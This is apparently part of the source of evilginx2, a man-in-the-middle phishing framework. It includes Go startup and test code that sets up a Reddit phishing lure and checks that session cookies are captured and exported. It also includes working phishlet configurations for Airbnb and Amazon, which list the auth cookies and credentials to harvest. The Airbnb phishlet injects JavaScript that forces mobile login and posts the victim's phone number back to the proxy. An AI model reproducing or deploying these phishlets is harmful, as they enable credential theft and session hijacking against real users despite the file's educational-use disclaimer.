116 | bl, err := core.NewBlacklist(filepath.Join(config_path, "blacklist.txt"))
117 | if err != nil {
118 | log.Error("blacklist: %s", err)
119 | return nil
120 | }
121 |
122 | files, err := ioutil.ReadDir(phishlets_path)
123 | if err != nil {
124 | log.Fatal("failed to list phishlets directory '%s': %v", phishlets_path, err)
125 | return nil
126 | }
127 | for _, f := range files {
128 | if !f.IsDir() {
129 | pr := regexp.MustCompile(`([a-zA-Z0-9\-\.]*)\.yaml`)
130 | rpname := pr.FindStringSubmatch(f.Name())
131 | if rpname == nil || len(rpname) < 2 {
132 | continue
133 | }
134 | pname := rpname[1]
135 | if pname != "" {
136 | pl, err := core.NewPhishlet(pname, filepath.Join(phishlets_path, f.Name()), cfg)
137 | if err != nil {
138 | log.Error("failed to load phishlet '%s': %v", f.Name(), err)
139 | continue
140 | }
141 | //log.Info("loaded phishlet '%s' made by %s from '%s'", pl.Name, pl.Author, f.Name())
142 | cfg.AddPhishlet(pname, pl)
143 | }
144 | }
145 | }
146 |
147 | ns, _ := core.NewNameserver(cfg)
148 | ns.Start()
149 | hs, _ := core.NewHttpServer()
150 | hs.Start()
151 |
152 | crt_db, err := core.NewCertDb(crt_path, cfg, ns, hs)
153 | if err != nil {
154 | log.Fatal("certdb: %v", err)
155 | return nil
156 | }
157 |
158 | hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, bl, dev)
159 | hp.Start()
160 |
161 | t, err := core.NewTerminal(hp, cfg, crt_db, db, dev)
162 | if err != nil {
163 | log.Fatal("%v", err)
164 | return nil
165 | }
166 |
167 | t.DoWork(run_background)
168 | return t
169 | }
170 |
--------------------------------------------------------------------------------
/main_test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "context"
6 | "crypto/tls"
7 | "io/ioutil"
8 | "log"
9 | "net"
10 | "net/http"
11 | "net/http/cookiejar"
12 | "os"
13 | "path/filepath"
14 | "regexp"
15 | "runtime"
16 | "strings"
17 | "testing"
18 | "time"
19 | )
20 |
21 | type TestEnvironment struct {
22 | t *testing.T
23 | buf *bytes.Buffer
24 | http *http.Client
25 | }
26 |
27 | func TestStart(t *testing.T) {
28 | log.Println("Starting evilginx2")
29 | _, filename, _, _ := runtime.Caller(0)
30 | path, _ := filepath.Abs(filepath.Dir(filename))
31 | cfgdir := path + "/tmp_cfg"
32 |
33 | // Clean up
34 | os.RemoveAll(cfgdir)
35 | os.MkdirAll(cfgdir, 0777)
36 |
37 | // Set up HTTP client
38 | dialer := &net.Dialer{
39 | Timeout: 10 * time.Second,
40 | KeepAlive: 10 * time.Second,
41 | DualStack: true,
42 | }
43 | http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
44 | http.DefaultTransport.(*http.Transport).DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
45 | if strings.HasSuffix(addr, ".localhost:443") {
46 | addr = "127.0.0.1:443"
47 | }
48 | return dialer.DialContext(ctx, network, addr)
49 | }
50 | jar, _ := cookiejar.New(nil)
51 | client := &http.Client{
52 | Jar: jar,
53 | }
54 |
55 | terminal := Start(true, path+"/phishlets", true, true, cfgdir, path+"/templates")
56 | if terminal == nil {
57 | t.Error("Could not be started")
58 | }
59 |
60 | var buf bytes.Buffer
61 | test := TestEnvironment{t, &buf, client}
62 | terminal.SetLogOutput(&buf)
63 |
64 | log.Println("Testing setup commands")
65 | terminal.ProcessCommand("help")
66 | test.assertLogContains("general configuration", "Shows help menu")
67 | test.assertLogContains("domain not set!", "Warns about a missing domain")
68 | test.assertLogContains("ip not set!", "Warns about a missing IP")
69 | test.Clear()
70 |
71 | terminal.ProcessCommand("help123")
72 | test.assertLogContains("unknown command", "Shows an error for an invalid command")
73 |
74 | terminal.ProcessCommand("config domain localhost")
75 | test.assertLogContains("domain set to: localhost", "Can change domain")
76 |
77 | terminal.ProcessCommand("config ip 127.0.0.1")
78 | test.assertLogContains("IP set to: 127.0.0.1", "Can change ip")
79 |
80 | terminal.ProcessCommand("config redirect_url http://example.com/unauth")
81 | test.assertLogContains("unauthorized request redirection URL set to: http://example.com/unauth", "Can change redirect_url")
82 | test.Clear()
83 |
84 | terminal.ProcessCommand("phishlets hostname reddit localhost")
85 | test.assertLogContains("phishlet 'reddit' hostname set to: localhost", "Sets hostname for phishlet")
86 |
87 | terminal.ProcessCommand("phishlets enable reddit")
88 | test.assertLogContains("enabled phishlet 'reddit'", "Can enable phishlet")
89 | test.assertLogContains("will use self-signed", "Uses developer certificates")
90 |
91 | terminal.ProcessCommand("lures create reddit")
92 | test.assertLogContains("created lure with ID: 0", "Can create lure")
93 |
94 | terminal.ProcessCommand("lures edit 0 path /inbound")
95 | test.assertLogContains("path = '/inbound'", "Can change lure path")
96 |
97 | terminal.ProcessCommand("lures edit 0 redirect_url http://example.com/authed")
98 | test.assertLogContains("redirect_url = 'http://example.com/authed'", "Can change lure redirect_url")
99 | test.Clear()
100 |
101 | log.Println("Finished configuration, setting up HTTP")
102 | time.Sleep(1 * time.Second)
103 |
104 | // Test HTTP requests
105 | log.Println("Testing interaction")
106 | _, url, _, _ := test.HttpGet("https://www.localhost")
107 | test.assertEqual(url, "http://example.com/unauth", "Unauthenticated request gets redirected")
108 | test.assertLogContains("unauthorized request: https://www.localhost/", "Unauthenticated request gets logged")
109 | test.Clear()
110 |
111 | _, url, body, header := test.HttpGet("https://www.localhost/inbound")
112 | test.assertEqual(url, "https://www.localhost/login/", "Redirects from inbound URL to login page")
113 | test.assertLogContains("new visitor has arrived:", "New visitor is detected and session created")
114 | test.assertLogContains("landing URL: https://www.localhost/inbound", "Landing URL detected")
115 | test.assertContains(header.Get("Set-Cookie"), "session=", "Session cookie is set")
116 | test.assertContains(body, "name=\"csrf_token\"", "Login page contains CSRF token")
117 |
118 | reCsrf := regexp.MustCompile(`name="csrf_token" value="(.+?)"`)
119 | csrf := reCsrf.FindStringSubmatch(body)
120 |
121 | baseData := `cookie_domain=.reddit.com&dest=https%3A%2F%2Fwww.localhost&csrf_token=` + csrf[1] + `&is_oauth=False&frontpage_signup_variant=&ui_mode=&is_mobile_ui=False&otp-type=app&username=evilginx2-testuser&password=`
122 | _, _, body, _ = test.HttpPost("https://www.localhost/login", baseData+`password123`)
123 | test.assertContains(body, "WRONG_PASSWORD", "Invalid login is rejected")
124 | test.assertLogNotContains("all authorization tokens intercepted", "Invalid login is detected as incorrect")
125 |
126 | redditPassword := os.Getenv("REDDITPASSWORD")
127 | if redditPassword == "" {
128 | log.Println("[SKIP]", "Valid login tests skipped due to missing environment variable")
129 | return
130 | }
131 |
132 | _, _, body, _ = test.HttpPost("https://www.localhost/login", baseData+redditPassword)
133 | test.assertContains(body, "https://www.localhost", "Valid login is accepted")
134 | test.assertLogContains("all authorization tokens intercepted", "Valid login is detected as correct")
135 | test.Clear()
136 |
137 | _, url, _, _ = test.HttpGet("https://www.localhost")
138 | test.assertEqual(url, "http://example.com/authed", "Redirects to correct page after authentication")
139 | test.assertLogContains("redirecting to URL: http://example.com/authed", "Redirect to correct page logged")
140 |
141 | // Check result
142 | terminal.ProcessCommand("sessions 1")
143 | test.assertLogContains("captured", "Session token captured")
144 | test.assertLogContains(`","name":"reddit_session","httpOnly":true`, "Session cookie displayed")
145 | test.Clear()
146 |
147 | exportPath := path+"/export.json"
148 | os.RemoveAll(exportPath)
149 | terminal.ProcessCommand("sessions export json "+strings.ReplaceAll(exportPath, `\`, `\\`))
150 | test.assertLogContains("exported sessions to json", "Can export sessions to file")
151 | time.Sleep(1 * time.Second)
152 | readDump, err := ioutil.ReadFile(exportPath)
153 | test.outputResult(
154 | (err == nil && strings.Contains(string(readDump), `"id":"1"`)),
155 | "Dumped sessions are valid",
156 | )
157 |
158 | //log.Println(buf.String())
159 | }
160 |
161 | func (test TestEnvironment) Clear() {
162 | test.buf.Reset()
163 | }
164 |
165 | func (test TestEnvironment) HttpGet(url string) (string, string, string, http.Header) {
166 | resp, err := test.http.Get(url)
167 | if err != nil {
168 | test.t.Fatal(err)
169 | }
170 |
171 | b, _ := ioutil.ReadAll(resp.Body)
172 | resp.Body.Close()
173 |
174 | return resp.Status, resp.Request.URL.String(), string(b), resp.Header
175 | }
176 |
177 | func (test TestEnvironment) HttpPost(url string, postData string) (string, string, string, http.Header) {
178 | req, _ := http.NewRequest("POST", url, bytes.NewReader([]byte(postData)))
179 | resp, err := test.http.Do(req)
180 | if err != nil {
181 | test.t.Fatal(err)
182 | }
183 |
184 | b, _ := ioutil.ReadAll(resp.Body)
185 | resp.Body.Close()
186 |
187 | return resp.Status, resp.Request.URL.String(), string(b), resp.Header
188 | }
189 |
190 | func (test TestEnvironment) assertLogContains(value string, msg string) {
191 | test.outputResult(
192 | strings.Contains(test.buf.String(), value),
193 | msg,
194 | )
195 | }
196 |
197 | func (test TestEnvironment) assertLogNotContains(value string, msg string) {
198 | test.outputResult(
199 | !strings.Contains(test.buf.String(), value),
200 | msg,
201 | )
202 | }
203 |
204 | func (test TestEnvironment) assertContains(a string, b string, msg string) {
205 | test.outputResult(
206 | strings.Contains(a, b),
207 | msg,
208 | )
209 | }
210 |
211 | func (test TestEnvironment) assertEqual(a string, b string, msg string) {
212 | test.outputResult(a == b, msg)
213 | }
214 |
215 | func (test TestEnvironment) outputResult(success bool, msg string) {
216 | if !success {
217 | log.Println(test.buf.String())
218 | test.t.Fatal("[FAIL]", msg)
219 | } else {
220 | log.Println("[SUCCESS]", msg)
221 | }
222 | }
223 |
--------------------------------------------------------------------------------
/parser/parser.go:
--------------------------------------------------------------------------------
1 | package parser
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | var (
8 | ParseEnv bool = false
9 | ParseBacktick bool = false
10 | )
11 |
12 | func isSpace(r rune) bool {
13 | switch r {
14 | case ' ', '\t', '\r', '\n':
15 | return true
16 | }
17 | return false
18 | }
19 |
20 | type Parser struct {
21 | }
22 |
23 | func NewParser() *Parser {
24 | return &Parser{}
25 | }
26 |
27 | func (p *Parser) Parse(line string) ([]string, error) {
28 | args := []string{}
29 | buf := ""
30 | var escaped, doubleQuoted, singleQuoted bool
31 |
32 | got := false
33 |
34 | for _, r := range line {
35 | if escaped {
36 | buf += string(r)
37 | escaped = false
38 | continue
39 | }
40 |
41 | if r == '\\' {
42 | escaped = true
43 | continue
44 | }
45 |
46 | if isSpace(r) {
47 | if singleQuoted || doubleQuoted {
48 | buf += string(r)
49 | } else if got {
50 | args = append(args, buf)
51 | buf = ""
52 | got = false
53 | }
54 | continue
55 | }
56 |
57 | switch r {
58 | case '"':
59 | if !singleQuoted {
60 | if doubleQuoted {
61 | got = true
62 | }
63 | doubleQuoted = !doubleQuoted
64 | continue
65 | }
66 | case '\'':
67 | if !doubleQuoted {
68 | if singleQuoted {
69 | got = true
70 | }
71 | singleQuoted = !singleQuoted
72 | continue
73 | }
74 | }
75 |
76 | got = true
77 | buf += string(r)
78 | }
79 |
80 | if got {
81 | args = append(args, buf)
82 | }
83 |
84 | if escaped || singleQuoted || doubleQuoted {
85 | return nil, errors.New("invalid command line string")
86 | }
87 |
88 | return args, nil
89 | }
90 |
91 | func Parse(line string) ([]string, error) {
92 | return NewParser().Parse(line)
93 | }
94 |
--------------------------------------------------------------------------------
/phishlets/airbnb.yaml:
--------------------------------------------------------------------------------
1 | # AUTHOR OF THIS PHISHLET WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS PHISHLET, PHISHLET IS MADE ONLY FOR TESTING/SECURITY/EDUCATIONAL PURPOSES.
2 | # PLEASE DO NOT MISUSE THIS PHISHLET.
3 |
4 |
5 | # Replace 'airbnb.co.uk' with your Server country Domain name of Airbnb.
6 | # Login With Email Will Not Work Due To Catpcha Failures.
7 | # Respective Javascripts Has been Added in Order to trigger, Login With Mobile Number.
8 |
9 | author: '@AN0NUD4Y'
10 | min_ver: '2.3.0'
11 | proxy_hosts:
12 | - {phish_sub: 'www', orig_sub: 'www', domain: 'airbnb.co.uk', session: true, is_landing: true}
13 | - {phish_sub: '', orig_sub: '', domain: 'airbnb.co.uk', session: true, is_landing: false}
14 | - {phish_sub: 'muscache', orig_sub: 'a0', domain: 'muscache.com', session: true, is_landing: false}
15 | - {phish_sub: 'google', orig_sub: 'www', domain: 'google.com', session: true, is_landing: false}
16 | - {phish_sub: 'gstatic', orig_sub: '', domain: 'gstatic.com', session: true, is_landing: false}
17 |
18 | sub_filters:
19 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
20 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
21 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
22 |
23 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
24 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https://{domain}', replace: 'https://{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
25 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https%3A%2F%2F{domain}', replace: 'https%3A%2F%2F{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
26 |
27 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'a0', domain: 'muscache.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
28 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'a0', domain: 'muscache.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
29 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'a0', domain: 'muscache.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
30 |
31 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'google.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
32 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'google.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
33 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'google.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
34 |
35 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: '', domain: 'gstatic.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
36 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: '', domain: 'gstatic.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
37 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: '', domain: 'gstatic.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
38 |
39 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
40 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
41 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
42 |
43 | - {triggers_on: 'www.google.com', orig_sub: 'a0', domain: 'muscache.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
44 | - {triggers_on: 'www.google.com', orig_sub: 'a0', domain: 'muscache.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
45 | - {triggers_on: 'www.google.com', orig_sub: 'a0', domain: 'muscache.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
46 |
47 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'google.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
48 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'google.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
49 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'google.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
50 |
51 | - {triggers_on: 'www.google.com', orig_sub: '', domain: 'gstatic.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
52 | - {triggers_on: 'www.google.com', orig_sub: '', domain: 'gstatic.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
53 | - {triggers_on: 'www.google.com', orig_sub: '', domain: 'gstatic.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
54 |
55 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
56 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https://{domain}', replace: 'https://{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
57 | - {triggers_on: 'www.google.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https%3A%2F%2F{domain}', replace: 'https%3A%2F%2F{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
58 |
59 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
60 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
61 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
62 |
63 | - {triggers_on: 'gstatic.com', orig_sub: 'a0', domain: 'muscache.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
64 | - {triggers_on: 'gstatic.com', orig_sub: 'a0', domain: 'muscache.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
65 | - {triggers_on: 'gstatic.com', orig_sub: 'a0', domain: 'muscache.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
66 |
67 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'google.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
68 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'google.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
69 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'google.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
70 |
71 | - {triggers_on: 'gstatic.com', orig_sub: '', domain: 'gstatic.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
72 | - {triggers_on: 'gstatic.com', orig_sub: '', domain: 'gstatic.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
73 | - {triggers_on: 'gstatic.com', orig_sub: '', domain: 'gstatic.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
74 |
75 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
76 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https://{domain}', replace: 'https://{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
77 | - {triggers_on: 'gstatic.com', orig_sub: 'www', domain: 'airbnb.co.uk', search: 'https%3A%2F%2F{domain}', replace: 'https%3A%2F%2F{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']}
78 |
79 |
80 | auth_tokens:
81 | - domain: '.airbnb.co.uk'
82 | keys: ['_csrf_token','_aat','abb_fa2','rclu','tzo,opt','_pt','bev','_airbed_session_id','.*,regexp']
83 | credentials:
84 | username:
85 | key: 'Leaked_mobileNumber'
86 | search: '(.*)'
87 | type: 'post'
88 | password:
89 | key: 'password'
90 | search: '(.*)'
91 | type: 'post'
92 | custom:
93 | - key: 'email'
94 | search: '(.*)'
95 | type: 'post'
96 | login:
97 | domain: 'www.airbnb.co.uk'
98 | path: '/login'
99 | js_inject:
100 | - trigger_domains: ["www.airbnb.co.uk"]
101 | trigger_paths: ["/login","/","/*"]
102 | trigger_params: []
103 | script: |
104 | function get_mobile_login(){
105 | document.getElementsByClassName("_1d079j1e")[1].click();
106 | return;
107 | }
108 | setTimeout(function(){ get_mobile_login(); }, 1000);
109 |
110 | function remove_login_buttons() {
111 | var elem = document.getElementsByClassName("_p03egf")[0];
112 | elem.parentNode.removeChild(elem);
113 | var elem1 = document.getElementsByClassName("_p03egf")[1];
114 | elem1.parentNode.removeChild(elem1);
115 | var elem2 = document.getElementsByClassName("_p03egf")[0];
116 | elem2.parentNode.removeChild(elem2);
117 | var elem3 = document.getElementsByClassName("_bema73j")[0];
118 | elem3.parentNode.removeChild(elem3);
119 | return;
120 | }
121 | setTimeout(function(){ remove_login_buttons(); }, 1000);
122 |
123 | function lp(){
124 | var submit = document.querySelectorAll('button[type=submit]')[0];
125 | submit.setAttribute("onclick", "sendMobile()");
126 | return;
127 | }
128 | function sendMobile(){
129 | var mobile = document.getElementsByName("phoneNumber")[0].value;
130 | var xhr = new XMLHttpRequest();
131 | xhr.open("POST", '/', true);
132 | xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
133 | xhr.send("Leaked_mobileNumber="+encodeURIComponent(mobile));
134 | return;
135 | }
136 | setTimeout(function(){ lp(); }, 2000);
137 |
--------------------------------------------------------------------------------
/phishlets/amazon.yaml:
--------------------------------------------------------------------------------
1 | author: '@customsync'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'amazon.com', session: true, is_landing: true}
5 | - {phish_sub: 'fls-na', orig_sub: 'fls-na', domain: 'amazon.com', session: false, is_landing: false}
6 | - {phish_sub: 'images-na', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', session: false, is_landing: false}
7 | sub_filters:
8 | - {triggers_on: 'www.amazon.com', orig_sub: 'www', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
9 | - {triggers_on: 'www.amazon.com', orig_sub: 'www', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
10 | - {triggers_on: 'fls-na.amazon.com', orig_sub: 'fls-na', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
11 | - {triggers_on: 'fls-na.amazon.com', orig_sub: 'fls-na', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
12 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-iges-amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
13 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
14 | auth_tokens:
15 | - domain: '.amazon.com'
